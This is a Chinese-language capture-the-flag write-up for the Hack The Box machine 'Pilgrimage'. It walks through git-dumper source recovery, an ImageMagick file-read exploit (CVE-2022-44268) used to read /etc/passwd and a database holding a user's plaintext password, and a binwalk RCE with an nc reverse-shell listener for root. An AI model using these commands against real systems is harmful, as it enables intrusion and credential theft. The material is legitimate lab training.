HTB-Pilgrimage
一、思路概要
1.nmap端口扫描发现git源码泄露;
2.读源码发现压缩图片用的magick命令,且发现数据库文件绝对路径;
3.ImageMagick LFI读取ssh账户用户名口令;
4.运行pspy64发现有监视任务;
5.binwalk RCE提权获取root权限。
二、信息收集
nmap扫描端口服务


80端口开放,有域名,写入本地hosts文件
echo "10.10.11.219 pilgrimage.htb" >> /etc/hosts
浏览器访问

主页是一个压缩图片的功能,上传文件,点击Shrink,成功后会返回图片链接

nmap扫描结果看到有git仓库
用git-dumper把git仓库下载下来:https://github.com/arthaud/git-dumper
python3 git_dumper.py http://pilgrimage.htb/.git/ ./pilgrimage/git
主要代码如下

在index.php
看到会执行/var/www/pilgrimage.htb/magick
,还有sqlite数据库文件/var/db/pilgrimage

三、ImageMagick LFI(CVE-2022-44268)
google关键字:ImageMagick poc
https://github.com/Sybil-Scan/imagemagick-lfi-poc
用脚本生成恶意图片
python3 generate.py -f "/etc/passwd" -o exploit.png

在网站首页上传,然后用返回的链接下载
wget http://pilgrimage.htb/shrunk/6520f1b11b130.png
再用如下命令查看图片详细信息
identify -verbose 6520f1b11b130.png
图片的部分十六进制编码如下

十六进制解码:https://gchq.github.io/CyberChef/

可看到读取到的/etc/passwd
内容,其中有一个非常规用户emily

刚才在index.php
看到的sqlite数据库文件/var/db/pilgrimage
,同样用上述方法读取
python3 generate.py -f "/var/db/pilgrimage" -o exploit.png
部分关键编码如下

看到有emily用户的用户名口令
emily
abigchonkyboi123
ssh连接
ssh emily@10.10.11.219

四、binwalk RCE提权
连上ssh后,在靶机运行pspy64,看到有/usr/sbin/malwarescan.sh
脚本,另外

解释命令:
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
-m:进入监视模式(monitor mode);
-e create:监视文件的创建事件;
当
/var/www/pilgrimage.htb/shrunk/
目录中有新文件被创建时,将显示相关信息。
查看/usr/sbin/malwarescan.sh
,会把/var/www/pilgrimage.htb/shrunk/
目录新创建的文件用binwalk
处理,那么就尝试看binwalk有没有可利用点

查看binwalk版本

google发现对应版本binwalk存在RCE
https://www.exploit-db.com/exploits/51249
随便找一张图片wa0er.png作为输入,执行脚本
python3 exploit.py wa0er.png 10.10.14.5 9898
本地kali执行如下命令
nc -lvnp 9898 #开启监听
python3 -m http.server 80 #开启http服务
靶机执行如下命令
cd /var/www/pilgrimage.htb/shrunk/
wget http://10.10.14.5/binwalk_exploit.png
成功反弹shell,获取root权限

Over!
